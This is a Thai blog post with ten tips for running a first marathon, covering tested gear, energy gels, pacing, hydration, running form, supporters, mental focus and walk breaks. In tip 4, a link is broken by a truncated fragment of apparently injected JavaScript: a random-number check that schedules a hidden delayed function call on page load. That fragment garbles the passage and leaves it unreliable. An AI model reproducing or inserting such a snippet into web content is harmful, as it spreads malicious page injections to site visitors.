ทิป 10 ข้อสำหรับ “วิ่งมาราธอน” ครั้งเเรก ( 10 tips for first-time marathon)
ใกล้สิ้นปีเเล้ว ใครที่ฝึกซ้อมเพื่อเตรียมตัววิ่งมาราธอน อย่างเช่น งานจอมบึงมาราธอน หรือจะวิ่งงาน ขอนเเก่นมาราธอน ปี 2559 เรามี 10 ข้อเเนะนำ เป็นทริคเเละเทคนิคเล็กๆ น้อยๆ ที่จะช่วยให้คุณวิ่งได้มั่นใจเเละสนุกมากขึ้น สำหรับใครที่ “วิ่งมาราธอนครั้งเเรก” ก็ควรศึกษาไว้…ทิป 10 ข้อสำหรับ “วิ่งมาราธอน” ครั้งเเรก อาจจะช่วยป้องกันคุณจากอาการบาดเจ็บที่ส่วนมากมักจะเกิดกับมือใหม่ก็ได้
1. ไม่ใช้ของใหม่ในงานวิ่งมาราธอน
เข้าใจดีว่าการลงมาราธอนครั้งเเรกก็เหมือนกับการให้รางวัลตัวเอง ซุ้มฝึกซ้อมมานานก็อย่างมีอะไรเป็นพิเศษให้กับตัวเอง อย่างการซื้อรองเท้าคู่ใหม่ หรือชุดวิ่งใหม่ เเต่อุปกรณ์ที่ใช้ในการวิ่งมาราธอน ทั้ง รองเท้า ถุงเท้า เสื้อกางเกงวิ่ง ไม่ควรจะเป็นของซื้อเเกะกล่องใหม่เป็นอันขาด สมควรอย่างยิ่งที่มีการใส่ทดสอบ อย่างน้อยสัก 2-3 ครั้ง เพื่อดูว่า ใส่เเล้วคล่องตัวมั้ย ใส่เเล้วสบายตัวมั้ย ใส่เเล้วติดๆ ขัดๆ มีการเสียดสีกับกล้ามเนื้อผิวหนังเรามั้ย ยิ่งเป็นรองเท้า ต้องสังเกตให้ดีว่า มันกัดเท้าเราหรือมั้ย ใส่เเล้วเสียดผิวหนังไปมาจนพุพองก็มั้ย ใส่เเล้วคับเท้าไม่สบายก็สมควรเปลี่ยน การนำรองเท้ามาใส่วิ่งระยะใกลๆ ควรเลือกคู่ที่ใส่เเล้วสบายตัวที่สุด
ฉะนั้นจำไว้ว่า ของใหม่ทุกอย่างก่อนใส่ไปวิ่งมาราธอน ต้องใส่ทดสอบก่อนทุกครั้ง เป็นของที่ใส่เเล้วสบายตัวที่สุด
2. ทดสอบเสบียง
สิ่งที่ขาดไม่ได้ในการวิ่งระยะไกล (วิ่งมาราธอน) คือ เสบียงอาหาร อย่างพวก Energy bar หรือ Energy gel ร่วมทั้งเครื่องดื่มเกลือเเร่ต่างๆ ใครที่เล่นกีฬาประเภท Endurance คงรู้ดีว่าการออกกำลังกายระยะเวลานานๆ จำนวนเเคลอรี่จะถูกเผาผลาญไปมาก จำเป็นต้องมีการเติมพลังงานเลี้ยงกลับเข้าไป การกิน เจลเพิ่มพลังหรือบาร์เเท่งที่ขายในตลาด อย่างเช่น ยี่ห้อ GU, Revv และ Powergel เป็นต้น
นักวิ่งอย่างเราๆ จำเป้นต้องมีการทดสอบ รสชาติ ผล effect ที่ได้จากการกินก่อน ใช้เเล้วกินง่าย หวานน้อยหวานมาก ขมไม่ถูกกับลิ้น ใช้เเล้วผลลัพธ์โอเคกับร่างกายหรือมั้ย ไม่ควรทดลองหน้างานเด็ดขาด เกิดไม่ถูกโฉลกกับท้องไส้เรา เดียวได้วิ่งหาห้องน้ำให้วุ่น ในส่วนของเครื่องดื่มเกลือเเร่ไม่ค่อยให้น่ำหนักมากนัก เพราะเท่าที่สังเกตยังไม่เคยเจอนักวิ่งใดมีปัญหา มีก็เเต่กับพวก Energy bar และ Energy gel
*ข้อเเนะนำในการใช้ energy gel หรือ energy bar เมื่อทานเเล้วให้กินน้ำเปล่าตาม เพราะมันหวานมาก เดี่ยวจะฟันฝุเอา
3. ต้องสีสันสดใส เจ็บจี๊ดๆ
อุปกรณ์เสื้อผ้าหน้าผม กรุณาจัดเต็ม เเม้ไม่มีผลในเรื่องพลังกาย เเต่มีผลในเรื่องพลังใจ จำไว้ว่าการวิ่งมาราธอนไม่ได้มีบ่อยๆ เเละมันคือการวิ่งที่จะเปลี่ยนชีวิตคุณ ฉะนั้นต้องจับให้เต็ม บางคนลงทุนปักชื่อตัวเอง เวลาถ่ายรูปมาจะเห็นได้ชัดเจน หรือเสื้อที่ผ่านระยะ Full marathon จะกลายเป็นเสื้อในตำนาน เป็นเสื้อตัวเก่งของคุณ
ข้อดีการปักชื่อตัวเอง เวลาคนเชียร์จะตะโกนเรียกชื่อคุณ ดัง Superstar…บอกได้เลยว่ากำลังใจมาเพียบ ส่วนอื่นๆที่คุณสามารถเล่นสีสรรได้อย่างเช่น รองเท้า ผ้าบัฟ หมวก ถุงเท้า เป็นต้น
4. ช้าๆ ได้พร้าเล่มงาน
เตรียมตัวก่อนออกวิ่งก้ควรมีการกิน ดื่ม วอร์มอัพ เนินๆ ค่อยๆ ทำเหมือนชีวิตประจำวันปกติ นอนให้พอ หลายๆ งานจะปล่อยตัวร่าวๆ ตี 3 คุรต้องนอนมาก่อนสัก 6 ชัวโมง ตื่นมากินทำธุระให้เสร็จ 1 ชั่วโมงอย่างต่ำก่อนวิ่ง เวลาออกตัวก็ควรวิ่งออกช้าๆ จำไวมันคืองานวิ่งครั้งเเรก ค่อยๆ วิ่ง คุมให้ Pace คงที่ อย่างตื่นเต้นวิ่งเร็วตามกลุ่มผู้นำ หรือไว้เร็วตามอุปทานหมู่ เพราะ หนึ่ง…คุณจะเเข่งไม่จบ หมดเเรงไปซะก่อน สอง…จะมีอาการบาดเจ็บเกิดขึ้น
นักวิ่งมักจะพูดว่า Start slow go slower การวิ่งที่ความเร็วคงที่จะสามารถรักษาพลังงานได้ดี เเละจบเวลาดี เร็วอย่างที่คุณไม่รู้ตัว อย่าเสียกำลังใจเพียงเเค่มีคนวิ่งเเซง เดียวเราก็เเซงกลับได้ ระยะเเข่งตั้ัง 40 กิโลเมตรโอกาสมีเยอะเเยะ
ถ้าไม่ชอบวิ่งช้าๆ ทำอย่างไร ละ…เเนะนำให้ว่าเเผนการวิ่ง หรือการว่าง pace ตามระยะต่างๆ อย่างเช่น ระยะ 1-10 กิโลเมตร ใช้ pace 6.30 ระยะ 10-20 ใช้ pace 5.30 เป้นต้น ค่อยๆ ไล่ pace ให้เร็วขึ้นเรื่อยๆ ก็ได้…หรือลองเข้าไปอ่านดูในเรื่องandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-full-marathon/” target=”_blank”>Pace management สำหรับวิ่ง Half และ Full Marathon
5. ดื่มน้ำบ่อยๆ
จิบน้ำน้อยๆ เเต่บ่อย ยังใช้ได้เสมอ เเม่ไม่รู้สึกว่าหิวน้ำเเต่ก็ควรจิบน้ำเรื่อยๆ การรอจนร่างกายรู้สึกหิวน้ำนั้นหมายความว่า ร่างกายเราขาดน้ำเเล้ว การดื่มน้ำก้ไม่ได้หมายความว่าร่างกายจะเติมน้ำให้เราทันที่ น้ำต้องผ่านกระบวนการดูดซึม ผ่านกระเพาะ ลำไส้ กว่าจะเข้าเส้นเลืดก้ใช้เวลาอยู่ ทางที่ดีคือ กินน้ำเเต่เนินๆ หรือที่เเนะนำกันทั่วไปคือ ทุกๆ 15 นาที
ใครที่รู้ตัวว่ากินน้ำเยอะเเน่ๆ เเนะนำให้ใช้ Running hydration pack หรือเป้น้ำสำหรับวิ่ง จะเป็นเเบบคาดเอวก็ได้ เเล้วเเต่ความสะดวก เเต่ใครไม่มีก้ไม่ต้องกลัว เพราะสถานีจ่ายน้ำจะตั้งทุกๆ 2 กิโลเมตร
6. จงรักษาฟอร์มตัวเองไว้
ฟอร์มเเรก คือ posture หรือท่าการวิ่งของเรา ไม่ก้มหน้าก้มตาวิ่ง วิ่งหลังโค้ง เพราะคุณกดทับปอด ทำให้พื้นที่อากาศหายใจน้อยลง ให้วิ่งตัวตรงโน้มมาข้างหน้านิดหน่อย เเขนกับศอกตั้งฉาก กำมือหลวม เเกว่งไปข้างหน้า อย่าเเกว่งไปด้านข้าง จะสูญเสียโมเม้นตรัม
ฟอร์มที่สอง คือ การเเสดงออกทางใบหน้า ตา ปาก จมูก อยู่ให้เป็นที่เป็นทาง เรารู้ว่าคุณเหนื่อยมาก เเต่อย่าให้สิ่งนี้ทำลายคุณ คุณอาจจะโดนช่างภาพถ่ายรูปเเบบไม่รู้ตัว คุณต้องยิ้ม เก๊กหล่อเก๊กสวยให้เต็มที่ ช่างถ่ายรูปมักจะโผล่มาจังหวะที่เราเผลอเสมอ
7. นัดกองเชียร์กันให้ดี
จังหวะที่คุณจะได้รับเสียงเชียร์เเรกๆ คือ สถานที่ปล่อยตัว หลังจากนั้นคุณจะต้องวิ่งผ่าฝูงชนมหาศาลออกไป เมื่อเข้าระยะ 5 กิโลเมตร คนก็จะเริ่มบางตา มีพื้นที่ให้เคลื่อนไปซ้ายขวาได้ ตามคำเเนะนำ คุณควรนัดเเนะจุดนัดพบเป็นระยะ ตามเส้นทางที่ผู้จัดเเข่งเเจกไว้ ระยะที่เเนะนำ อย่างเช่น นัดพบทุกๆ 5 กิโลเมตร จะส่งข้าวส่งน้ำช่วงนี้ก็ตามใจ เเต่ระยะที่นักวิ่งต้องการกำลังใจมากๆ คือ เมื่อพ้นระยะ Half marathon กิโลเมตรที่ 20 ขึ้นไป เสียงเชียร์เป็นหนึ่งในกำลังใจที่สำคัญในการค้ำจุนนักวิ่ง
8. จินตนาการภาพเข้าเส้นชัยเข้าไว้
หนึ่งในการฝึกให้สติเราเเกร่งกล้า คือ คิดเเต่เรื่องดีๆ ในสภาพที่เหนื่อยอ่อนล้า ความคิดด้านลบจะค่อยๆ กัดกินหัวใจคุณ สิ่งที่ควรทำคือจินตนาการถึงสิ่งดีๆ สิ่งที่ทำให้คุณมีกำลังใจ จินตนาการภาพเข้าเส้นชัย ความรู้สึก ณ ตอนเข้าเส้นชัย เก็บเอาความรู้สึกนั้นไว้ เเล้วอาการถอดใจ อาการอึดสู้จะมาเเทนที่ เเละเมื่อคุณผ่านเส้นชัยคุณจะกลายเป็นคนใหม่ทันที
9. วิ่งๆ เดินๆ
คุณสามารถเดินได้ ไม่ผิดกฏ อย่าคิดว่าการเดินเป็นเรื่องน่าอาย ไม่ไหวก็หยุดพัก เดินคลายเหนื่อยเเล้วออกวิ่งใหม่ เเต่การถอดใจเลิกวิ่งเป็นเรื่องที่น่าเสียดาย ขอให้คิดไว้ว่าเวลาที่คุณทุ่มเทในการฝึก เป็นนาที เป็นชั่วโมง เป็นวัน เป้นเดือน มันมีค่ามากกว่าที่จะถอดใจเลิกวิ่ง เว้นเสียเเต่ว่าจะจะมีอาการบาดเจ็บ
การวิ่งช้าๆ หรือการเดินช่วยให้ร่างกายได้พักฟื้น บางทีการวิ่งเร็วไปอาจจะทำให้ร่างกายบาดเจ็บได้ง่าย ถ้ารู้ว่าฝึกมาไม่พอ หรือขาเริ่มมีอาการเเปลกๆ ก็ให้ลดความเร็วลง พักดื่มน้ำหรือหาคูลเจลที่จุดให้น้ำก้ได้
10. enjoy you run
สิ้่งที่สำคัญที่สุดคือ สนุกกับงานวิ่งของคุณ คุณเตรียมตัวมานาน ลงทุนทั้งเวลาฝึกซ้อม ทั้งกำลังทรัพย์ การออกมาวิ่งคือการให้รางวัลกับตัวเอง สนุกไม่ต้องเครียด การมา วิ่งมาราธอน ครั้งเเรกของคุณไม่ใช้การลงโทษ ไม่ใช้การพาชีวิตไปอยู่ในสถานที่อันตราย ลองจินตนาการว่ามันคือการมาร่วมเล่นคอนเสริตขนาดใหญ่ดู
ค่อยๆ วิ่งเเละซึมซับบรรยากาศงานวิ่งมาราธอน เพราะงานอย่างนี้มีไม่บ่อย
